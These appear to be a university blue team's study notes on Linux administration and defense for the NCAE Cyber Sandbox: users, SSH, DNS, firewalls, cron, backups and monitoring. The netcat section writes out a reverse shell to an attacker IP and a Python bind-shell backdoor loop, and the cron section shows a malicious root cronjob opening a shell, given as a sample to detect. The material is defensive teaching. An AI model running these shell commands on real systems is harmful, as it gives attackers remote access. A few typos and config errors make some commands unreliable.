UFSIT Blue Team

follow the blue rabbit

View on GitHub

NCAE Cyber Sandbox Notes

Section formatting: “[video number, in playlist-order]: [video title]”

See YouTube playlist here

10: Creating user accounts 👤

What does the “useradd” command actually do?

e.g. Adding a new user, “bob”, with useradd:

  1. It makes a new group called bob
  2. It makes a new user called bob
  3. It creates its home directory at /home/bob
  4. It copies some standard files for new users from /etc/skel, which include stuff like .bashrc (shell config)
  5. It prompts a password (with the passwd command)
  6. It prompts for stuff like full name, “room number”, etc. (this gets stored in the /etc/passwd file, but no one really bothers with it)

11: Exploring sudoers and removing users 🔒

“ls -l”

Example of an ls -la entry that I ran in my home directory: -rwxr-xr-x br br 126 KB Wed Dec 15 10:28:22 2021 my_sick_program.o* - Note the first 10 characters of this command (.rwxr-xr-x) - The first - indicates that this listing is not a directory (it would show d otherwise) - The next three characters (rwx) indicate that it is readable, writeable, and executable by the file owner – br (my user) - The three characters after (r-x) indicate that it is readable, not writeable, and executable by the group associated with the file - The last three characters (r-x) indicate the same thing as before, but these apply to “everyone else” (that is not the owner or group for the file)

lsattr

12: Exploring sudoers and removing users ❌

/etc/:

/etc/sudoers

Example: %admin ALL=(ALL) NOPASSWD: ALL

userdel

sudo usrdel -r <user> to both remove a user and delete their home directory

13: Groups 👥

groups and id commands

usermod command

Example: sudo usermod -a -G sudo bob

/etc/group

14: Passwords and shadow hashes 🥷

/etc/passwd: User accounts

Example: bob:x:1001:1001:,,,:/home/bob:/bin/bash

/etc/shadow: User password hashes

Example: vivek:$1$fnfffc$pGteyHdicpGOfffXX4ow#5:13064:0:99999:7:::

Remember that empty values look like :: – e.g., if the second field has no value, then that means the user has no password.

16: Services 🌐

If you don’t know what a service is (in terms of networking), pls watch the vid cause I won’t recap that here.

Some things to think about in regard to services you find in competition: - What is its purpose? - Does it have a config file? Where? - What is its version / vulnerabilities? - Is it necessary? If not, get rid of it! (we’ve learned this the hard way previously)

17: Exploring network configuration 🌐🔧

When we’re talking about networking and network configuration, this is where things start to deviate from Linux ditro to Linux distro.

e.g. In Debian systems, you may use the /etc/network/interfaces file to configure networking, while on Arch Linux you may be making files in /etc/systemd/networkd/

18: Static network config in Debian / Kali

In these Debian-based distros, for command-line network config, we’re interested in the /etc/network/interfaces file.

Example from Kali-External VM on NCAE MiniHack sandbox:

source /etc/network/interfaces.d/*

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 172.20.0.2
    netmask 255.255.0.0

Another example (from my cloud server on linode.com) – note how this one has slightly more info:

auto lo
iface lo inet loopback

source /etc/network/interfaces.d/*

auto eth0

iface eth0 inet6 auto
iface eth0 inet static
    address 194.195.212.122/24
    gateway 194.195.212.1
    up  ip addr add 192.167.227.110/17 dev eth0 label eth0:1
    down  ip addr add 192.167.227.110/17 dev eth0 label eth0:1

If we needed to use a DHCP server (i.e. auto-assign IPs):

source /etc/network/interfaces.d/*

auto lo
iface lo inet loopback

auto eth0
iface eth0 dhcp

Applying our network config changes

19: Static network config in CentOS / RedHat Enterprise Linux (RHEL)

CentOS machines do not have a /etc/network/interfaces file (they use a different networking service!)

Example: /etc/sysconfig/network-scripts/ifcfg-eth0 in MiniHack CentOS (the router):

TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=dhcp
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=eth0
UUID=ad3643ab-6dac-afa2-e422cc7c0748
DEVICE=eth0
ONBOOT=no

Changes made for MiniHack:

Applying our network config changes

20: Static network config in Ubuntu

Note that Ubuntu still has a /etc/network/interfaces file, but it is not used.

Example: /etc/netplan/01-network-manager-all.yaml in MiniHack Ubuntu (the web server):

network:
    version: 2
    renderer: NetworkManager

Example: /etc/netplan/01-network-manager-all.yaml from my Linode Ubuntu instance:

network:
    version: 2
    renderer: networkd
    ethernets:
        eth0:
            dhcp4: yes

Changes made for MiniHack

...
    ethernets:
        eth0:
            addresses:
                - 192.168.<team_num>.2/24

Applying our network config changes

22: Temporary IPs, permanent IPs, and flushing IPs 🚽

Temporary IPs with ip a

Adding a temporary IP with ip a: sudo ip a add 192.168.<team_number>.3/24 dev eth0

Flushing the network config (i.e. the IPs assigned to a network interface)

sudo ipddr flush dev ens18

23: Netcat (nc) 🙀

Watch the video if you are unfamiliar with what netcat actually is.

Nc vs. netcat vs. ncat

There can be some well-justified confusion here.

Abusing netcat 🙀

Netcat doesn’t just allow you to send text back and forth between two hosts, you can redirect the data that it receives to an application on the computer, e.g. /bin/bash

Example - Ncat reverse shell: (On compromised victim machine): nc <attacker_ip> 54321 -e /bin/bash (On attacker machine): nc nc -lvnp 54321

After the above, the attacker should now have a shell (terminal access) on a vicitm computer (if the above command doesn’t work, it may be because you are using a primitive verison of netcat such as nc, instead of ncat).

Creating a (crappy) persistent backdoor with Python

import os
while True:
    os.system("nc -l -p 54321 -e /bin/bash");'

can anyone figure out how to one-line this? - this does’t work:python -c 'import os; while True: os.system("nc -l -p 54321 -e /bin/bash");'

24: Web services with Apache 🌍

25: Router configuration and MiniHack completionn 📡

We have the two network interfaces configured… what now? We’re still not routing traffic through the router machine to their destination (show diagram)

Firewalld - network zones

In terms of routing the network traffic the way we want, the Linux firewall program “firewalld” will be doing the magic for us on CentOS.

On CentOS machines:

Let’s think about this… we know that machines in our target network diagram are either laballed as “internal” or “external” - …it would make sense, then, that our two interfaces lie the internal and external zones, correspingly.

Assigning network interfaces to zones with the CentOS ifcfg configs

Remember that the network diagram specifies that the external router IP be 172.20.#.1/16, and that the internal router IP be 192.168.#.1/24.

Alternative to ifcfg zone assignment: Using firewall-cmd commands

sudo firewall-cmd --change-interface=eth1 --zone=internal --permanent

Note the usage of --permanent. Without it, your zone changes will not persist after reboot. - The downside of --permanent is that stuff doesn’t apply until after you reboot… so you have to run sudo firewall-cmd --reload

What is this “masquerading”?

Port forwarding

sudo firewall-cmd --zone=external --add-forward-port=port=80:proto=tcp:toport=80:toaddr=192.168.<team_number>.2 --permanent

Now that we have configured port-forwarding, external network traffic can reach our internal web server, but not the other way around

Configuring the gateway on our web server machine

Our final file for the Ubuntu machine should look like:

network:
    version: 2
    renderer: NetworkManager
    ethernets:
        ens18:
            addresses:
                - 192.168.<team_number>.2/24
            gateway4: 192.168.<team_number>.1

Repeat a similar process on the Kali machine, except instead of editing this funky YAML file, we edit the /etc/network/interfaces file so that it looks like:

source /etc/network/interfaces.d/*

auto lo
iface lo inet lopback

auto eth0
iface eth0 inet static
    address 192.168.<team_num>.100
    netmask 255.255.255.0
    gateway 182.168.<team_num>.1

Q: How do we list our current gateways in Linux?

Q: Do we need a gateway on External Kali? Why or why not?

TIDBIT FROM THE VIDEO:

26: ROUTING AND NETWORK CONFIGURING REVIEW 📓

27: SSH Basics

Let’s say we now want to use SSH on our Ubuntu Server machine, along with the web server functionality we already gave it.

As it turns out, the Ubuntu machine already had an SSH service running.

SSH Configs

Potential Security Threat: Note that malicious changes to your SSH config don’t have to go specifically in one of the two above files, they can also go in the included ones. - Something to consider: How important are these included files? Safer to just delete them?

28: SHH keys

SSH has the option to use assymetric-key authentication (public and private keys).

Go to 1:10 in the video for a useful diagram.

Remember one of our key points about key rotation/re-generation in the CCDC reflections?

The ssh-keygen command (AKA HOW TO ROTATE/CREATE NEW KEYS!)

Example: sudo ssh-keygen -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key

When giving a website/an API your SSH key, make sure you’re giving it the public key, not the private key!!!

29: Passwordless shell access 🗝️🚫

We now know of two ways that public key cryptography is ussed in SSH:

  1. To identify an SSH server (e.g. ensure it’s the legit one by comparing the public key, as opposed to a spoofed one with the same IP)
  2. To let clients remotely SSH into a server without needing to type the server’s user password (a client needs to generate a new, separate key. This is not the same key that the server uses to identify itself)

The easy, painless way to do all of the stuff below

Those were a lot of steps to configure an ssh key authentication for one user. Let’s make it easier:

  1. Generate a new key for a different user, e.g. ssh-keygen -t ecdsa -f /home/sandbox/id_sandbox_key
  2. Use the ssh-copy-id command: sudo ssh-copy-id -i /home/sandbox/id_sandbox_key sandbox@192.168.8.2
    • The above command was ran on the Ubuntu MiniHack machine (the web server)
    • The result of the command is that we now have an authorized_keys file on the sandbox user that contains the public key that we recently generated, and subsequently, we logged into our own machine through SSH.

Keep reading below for the manual way to do all of this (good to understand).

The /.ssh/authorized_keys file

If I’m a user, “bt”, then we can go to into (or make, if it doesn’t exist) the directory /home/bt/.ssh directory, and create a file called authorized_keys to specify the public keys

Key file permission

The SSH service may not trust a key regardless of what you tell it, if it doesn’t have the appropriate permissions.

The chown and chomd commands

“Change ownership”

We can then also grant ownership to bob for the authorized_keys if it’s not already owned by them: sudo chown bob:bob /home/bob/.ssh/authorized_keys

Now, how does a remote SSH user use their private key to connect?

If you generated the remote user’s private key on your own server, you can actually transfer it over with SSH itself to get it back to them.

Logging in passwordlessly after setting up authorized key and transferring it over to the appropriate remote user

If you have the aforementioned permissions correctly set for everything, then congrats! You have now used an SSH key to passwordlessly log in to a remote server.

30: SSH service through a router 🐚📡

Remember how some of our firewalld zones had certain services enabled?

If a service is enabled for a certain zone, that service’s traffic will be allowed through. If not, then it will be blocked.

Restricting SSH traffic to router only to internal machines

sudo firewall-cmd --zone=external --permanent --remove-service=ssh

To undo changes and add back ssh to the zone: sudo firewall-cmd --zone=external --permanent --add-service=ssh sudo firewall-cmd --reload

SSH port forwarding

Similar to what we did for forwarding HTTP traffic: sudo firewall-cmd --zone=external --add-forward-port=port=22:proto=tcp:toport=22:toaddr=<ubuntu_machine_ip> --permanent

Question: If we have SSH enabled as a service on the external zone, and also have the port-forwarding rule, what will happen when we try SSHing into the router? Will it give us an SSH session directy on the router or will it give us a session on on the machine it’s configured to forward to?

Spoiler alert: It sends tour SSH traffic to the forwarded internal machine - At the 12:19 mark in the video, it shows how it even displays the “Remote host authenticity has changed” SSH warning. This makes sense, because we had SSH’d into the router machine at some point before, so the fact that the same IP in the SSH command now gets forwarded to a new machine should trigger this alert.

Q: What settings would we change in the zone options if we wanted to be able to SSH into the router itself?

31: DNS 101

DNS is one of the more challenging services to configure.

Forward lookups

A DNS forward lookup is the client asking the DNS server: “Hey DNS… where is ‘ncaecybergames.org’?”

Reverse lookups

A DNS reverse lookup on the other hand, is: “Hey DNS… where is ‘192.168.1.99’?”

Cofiguring DNS on the Ubuntu machine

We’ve configured our Ubuntu machine to now be both a web server and an SSH server, so let’s just keep using this one and configure DNS on it.

We will be using the “bind” Linux DNS program in this case. - install it w/ sudo apt install bind if not installed.

named.conf

In the Ubuntu MiniHack machine, this config file is just 3 include statements for other files.

This may not be the case for default named.conf files.

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

What is our goal here?

A: To get our web server’s IP (192.168.<team_number>.2) to be associated with a domain name – ncaecybergames.org – that we can type out in a web browser to load the webpages we’re hosting

named.conf.default-zones

This files has some zones already added, so we use them as templates to add our own zone:

Forward-lookup zone (append these lines at end of file):

zone "ncaecybergames.org" IN {
    type master;
    file "/etc/bind/zones/forward.ncaecybergames.org";
    allow-update { none; };
};

Reverse-lookup zone:

zone "<team_number>.168.192.in-addr.arpa" IN {
    type master;
    file "/etc/bind/zones/reverse.ncaecybergames.org";
    allow-update { none; };
};

sudo cp db.empty /etc/bind/zones/foward.ncaecybergames.org sudo cp db.empty /etc/bind/zones/reverse.ncaecybergames.org

⭕ The original db.empty file looks like this:

; BIND reverse data file for empty rfc1918 zone
;
; DO NOT EDIT THIS FILE - it is used for multiple zones.
; Instead, copy it, edit named.conf, and use that copy.
;
$TTL	86400
@	IN	SOA	localhost. root.localhost. (
			      1		; Serial
			 604800		; Refresh
			  86400		; Retry
			2419200		; Expire
			  86400 )	; Negative Cache TTL
;
@	IN	NS	localhost.

⏩ The edited forward.ncaecybergames.org file should look like:

; BIND reverse data file for empty rfc1918 zone
;
; DO NOT EDIT THIS FILE - it is used for multiple zones.
; Instead, copy it, edit named.conf, and use that copy.
;
$TTL	86400
@	IN	SOA	ncaecybergames.org root (
			      2		; Serial
			 604800		; Refresh
			  86400		; Retry
			2419200		; Expire
			  86400 )	; Negative Cache TTL
;
@	IN	        NS	    sandbox-Ubuntu
sandbox-Ubuntu  IN A    192.168.<team_number>.2
www             IN A    192.168.<team_number>.2
- This file resolves requests for ncae.cyberganes.org and its associated subdomains (sandbox-Ubuntu.cybergames.org, www.cybergames.org)
- Note the places where localhost was changed (either to ncaecybergames.org (near top of file) or to sandbox-Ubuntu (near botto of file)
- Note also the fact that in this example, our "host name" or machine/PC name is "sandbox-Ubuntu". This is something that you can actually tell when you use the terminal because it's the string that comes after the `@`
- e.g. if my terminal shows `ben@work-laptop:~ ` then I know my host name is "work-laptop"

🔙 The edited reverse.ncaecybergames.org file should look like:

; BIND reverse data file for empty rfc1918 zone
;
; DO NOT EDIT THIS FILE - it is used for multiple zones.
; Instead, copy it, edit named.conf, and use that copy.
;
$TTL	86400
@	IN	SOA	ncaecybergames.org. root.ncaecybergames.org. (
			      2		; Serial
			 604800		; Refresh
			  86400		; Retry
			2419200		; Expire
			  86400 )	; Negative Cache TTL
;
@	IN	        NS	    sandbox-Ubuntu
2   IN PTR      www.ncaecybergames.org.
2   IN PTR      sandbox-Ubuntu.ncaecybergames.org.
- Note that unlike the forward address zone file, we don't keep trailing periods after domain names (eg. `ncaecybergames.org`), but in the reverse, we do (e.g. `ncaecybergames.org.`, `root.ncaecybergames.org.`)
- Also note the importance of the `2` in the @ field above. This is the converse of the last ARPA notation where we wrote the whole reverse IP excluding the the 2 from the last octet of the IP address.

Setting the DNS server

sudo systemctl start named sudo systemctl status named – check the messages at the bottom of the output

Now you should be able to access your own web server through its DNS domain that you configured with bind! e.g. Open up Firefox and type in www.ncaecybergames.org

nslookup

Using firefox to test the DNS configuration is all well and good, but nslookup is the tool you want to use to test this kind of stuff, generally.

32: DNS - Additional zones 📚🔳

Setting the DNS server for other local machines

What if we wanted to set the Ubuntu machine as the DNS server for other machines on the local network?

Adding subdomains for other websites to our DNS configuration

Let’s say we want to program our DNS setup to map the scoring server to score.ncaecybergames.org.

Reverse lookup for an IP not listed in our named.conf.default-zones file

We have to go back to our /etc/bind/named.conf.default-zones file and add a new zone block:

zone "20.172.in-addr.arpa" IN {
    type master;
    file "/etc/bind/zones/reverse.ncaecybergames.org";
    allow-update { none; };
};

33: DNS service through a router 📚📡

We’re gonna route DNS traffic now, similar to what we did for web traffic.

Scenario: The external kali machine has no access to the DNS server currently (remember the only pot that we port-forwarded was 80 for HTTP)

One potentially confusing quirk about doing this: - Because external traffic has to go through the router, we actually need to set the DNS server for external machines to be the router’s (external) IP

Set the DNS server to be our router’s external IP

Simply create/edit /etc/resolv.conf and add the nameserver 172.20.<team_number>.1 line.

Forward DNS traffic on the CentOS (router) machine

sudo firewall-cmd --zone=external --permanent --add-forward-port=port=53:proto=udp:toport=53:toaddr=192.168.<team_number>.2

Important thing to note about the above command: - DNS does NOT run on TCP. It runs over UDP (note the proto=udp)

34: The Rsync service ♻️

Let’s start automating some basic tasks and their applications to competition environments.

Using rsync

rsync -av --delete stuff/ backups/

Quite simply, this has copied the contents of the stuff/ directory into the backups/ directory.

So… why not just use the cp command?

35: Cron and cronjobs 🕐

As part of the cron program, you get what are called “cron tabs” - These are files that include automatic commands

Easy crontab parser/explainer: https://crontab.guru

But how do we view all users’ crontabs on a machine

By looking in the /var/spool/cron/crontabs/ directory - Note: sometimes the directory may just be set as /var/spool/cron (this is the case for me using Arch Linux) - Also note: these are not ALL the crontabs, just the user crontabs (more on this later).

Note: Cron does not need a restart after modifying the crontab, but it might be a good idea to just restart it with sudo systemctl restart cron just to build the habit.

cron with rsync for a simple automatic backup

What would a cronjob for the rsync command, rsync -av /home/sandbox/Desktop/stuff/ /home/sandbox/Desktop/backups/, look like? (note the absence of the --delete option)

A: * * * * * rsync -av /home/sandbox/Desktop/stuff/ /home/sandbox/Desktop/backups/

System-wide conjobs

Important thing to note about system-wide crontabs: After the frequency settings of a cronjob line (i.e. the * * * * * -style part), system-wide crontabs must specify the user to run the command as (e.g. root to run a cronjob as root).

In the /etc/ directory, you will probably have:

Why use /etc/crontab instead of crontab -e

What if a user doesn’t have the permissions to run a certain command they want to make a cronjob for?

Potentially malicious cronjobs?

What if we opened up one of our cron folders and we had something like: * * * * * root nc -lvnp 12345 -e /bin/bash

36: Rsync and cron: automatic, secure backups 🕐🔏

Let’s start thinking about our backups and cronjobs at a broader scale: doing stuff across our local network.

The idea: Use rsync to back up files – not to our local computer – but to a remote computer/server.

Doing the remote backup with rsync

There’s one problem here if we want to turn this into a cronjob: We’re transferring over the files through SSH, how are we gonna input the password every time the cronjob runs?

Answer: Using SSH keys (wiith no passphrases set for the key files)

Automating the remote backup with cron

A quick note about trailing ‘/’ characters for rsync: Note that in the command I wrote to test the ssh-thru-rsync backup, the filepath I specified to get copied over was /home/sandbox/Desktop/stuff/, whereas the one above is /home/sandbox/Desktop/stuff.

- What is the difference? If you add a `/` at the end, it copies all the files of the folder over, but not the folder itself. If you don't add a `/`, it copies over the folder, __and__ all the files within it.
- Both still back up all relevant files, it's just one copies over the folder on top of those as well.

Congratulations. You now have set up an automatic cronjob to remotely back stuff up to an external server! If your server with the files gets breached, you now have a contingency copy of all the files you decided to back up on another, (hopefully) non-breached server.

37: The UFW firewall (no iptables anymore woohoo) 🔥

The scenario: We’re trying to secure the services that we’ve set up on two machines:

When you need to do something related to firewalling on Linux, ask yourself:

UFW

checking and enabling UFW

Adding firewall rules to allow/deny certain traffic

Get verbose UFW status

Simply run sudo ufw status verbose

Note that by default, UFW denies all incoming traffic. - This WILL mess you up in a competition scenario if you don’t apply rules to allow necessary traffic to reach your systems (e.g. if score check machine can’t reach a web server). - Users need

Adding more types of rules

Removing iptables rules

Previously I mentioned removing rule based on their rule number. Here’s an easy way to see their numbers:

sudo ufw status numbered

NOTE: Every time you delete a rule, the rules below that rule get re-numbered. - Stop and think when you have a bunch of rules and you’re deleting stuff, re-list the rules to ensure the numbers you’re deleting are what you think they are.

Inserting iptables rules at a specific spot

Simply just run sudo ufw insert <rule number> <rule>

A seemingly weird quirk

Let’s say we remove the command allowing Kali-Internal to communicate with our Ubuntu machine (aka delete the ufw allow from 192.168.<team_number>.100 rule)

The following should be the case: When we ping the Ubuntu machine from Kali-Internal, the traffic should be blocked because the rules at this stage are blocking all traffic from the 192.168.<team_number>.0/24 network

The part of the file that made our ping go through despite our deny rule was this:

# ok icmp codes for INPUT
...
-A ufw-before-input -p icmp --icmp-type echo-request -j ACCEPT

The rule on the line above tells the Ubuntu machine, “look, if someone tries to ping me, let them ping me”

Now, the Kali machine can’t ping the Ubuntu machine, as expected!

Windows trivia: Unlike Linux, Windows firewalls typically deny pings by default. Potentially useful fact to know.

rule types in the before.rules file

The point of this ping stuff

The moral of the story with this ufw bing allowing/blocking stuff is:

  1. Check for potential default settings that override user settings on your services
  2. When you ping a computer and it doesn’t respond, it doesn’t necessarily mean it’s off/nonexistent.

Nuclear option: reset all ufw rules

Do this with sudo ufw reset - Very kindly, UFW backs up all the rule files in the /etc/ufw directory for us when we run this.

UFW conclusion

The way that firewalls fit into our strategy is as follows:

  1. First, we need to get our networking right
  2. Next, we need to get our services right (web, ssh, DNS, etc.)
  3. THEN, set up your firewall right.

Pro tip from Jason Rice

A lot of people think to themselves: “Oh, I’m just gonna allow traffic from the scoring server and block all attacker traffic.”

His response to that: Good luck. (their scoring infrastructure is “extremely hard to profile”).

38: Active connection defense 101 🔫🛰️

Scenario: Kali-Internal will act as the server we’re defending/monitoring.

netstat

netstat filtering

Booting off Jenny

Let’s say we see jenny’s SSH session in the netstat -tunap option, and jenny turns out to be a malicious hacker.

In general, monitoring stuff and killing stuff is something that someone does while the others go ahead and set up, configure, and patch/harden the systems on the network.

Another quick way to filter netstat

netstat | grep ESTABLISHED

What if you don’t have netsat installed?

Option 1: Install it.

Option 2: Use the ss command

the ‘w’ command

Type w and run it. You will see a list of users that are logged in as well as where they’re logged in from -

Killing processes: an easier way

What if we don’t want to figure out the PID?

Be cautious about killing stuff when both the attacker and you are logged in on your own machine with the same user - Friendly fire is no good :)

The top/htop command - “task manager” for linux

Type in top (or htop if it’s installed – has colors as opposed to top).

This is essentially the task manager for Linux terminals.

The ps command - processes in detail

If we want to monitor processes and not so much network-related stuff, a good command to run is: ps aux --forest

The wall command - send messages to active users

e.g. wall "Server shutting down in 5 minutes!" - All logged in users on a computer will receive this message on their terminal screen

APPENDIX 1: auditd

Auditd, paired with the right config, can make Linux command-line monitoring/logging very powerful.

You can even pair it with a SIEM (Security Information and Event Management) program such as Splunk to hook up multiple machines to a centralized logging server (not covered here for now).

  1. Install with your package manager (e.g. sudo apt get auditd)
  2. sudo systemctl enable --now auditd
  3. sudo systemctl status auditd
  4. (Most important step): Download a good, security-focused config: https://github.com/Neo23x0/auditd
  5. Copy that config over to /etc/audit/auditd.conf
  6. Restart service
  7. Search through auditd logs with ausearch -k <key> where ‘key’ is the label for each type of security event (check the config file – it explains further in its comments)

APPENDIX 2:opensnitch instructions

Proxmox opensnitch setup instructions

1) Install OpenSnitch

yum install libnetfiler_queue
rpm --nosignature -i ./opensnitch.rpm

2) Configure event forwarding:

vi /etc/opensnitchd/default-config.json

Change the “Address” line value to {Server_IP}:50051

3) Restart OpenSnitch daemon

systemctl restart opensnitch
systemctl enable --now opensnitch

4) Test connection

On the CentOS server:

ping google.com

Check the UI server for a notification for ping from the CentOS machine IP.

How to install OpenSnitch Daemon on Ubuntu/Debian Servers 🟠🔴 (“worker” machines, in our case)

1) Install the daemon

sudo apt isntall ./opensnitch.deb

2) Configure event forwarding

sudo vim /etc/opensnitchd/default-config.json

Change the “Address” value to {Server_IP}:50051

3) Restart the daemon

sudo systemctl restart opensnitch
sudo systemctl enable --now opensnitch

4) Test the connection

On the Ubuntu/Debian machine:

ping google.com

The UI server should now show a notification for ping from the server’s IP.

Install UI Server on Kali 🔵 (the “controller” machine)

1) Install OpenSnitch UI

sudo apt install ./opensnitch-ui.deb

2) Open listening port

opensnitch-ui --socket [::]:50051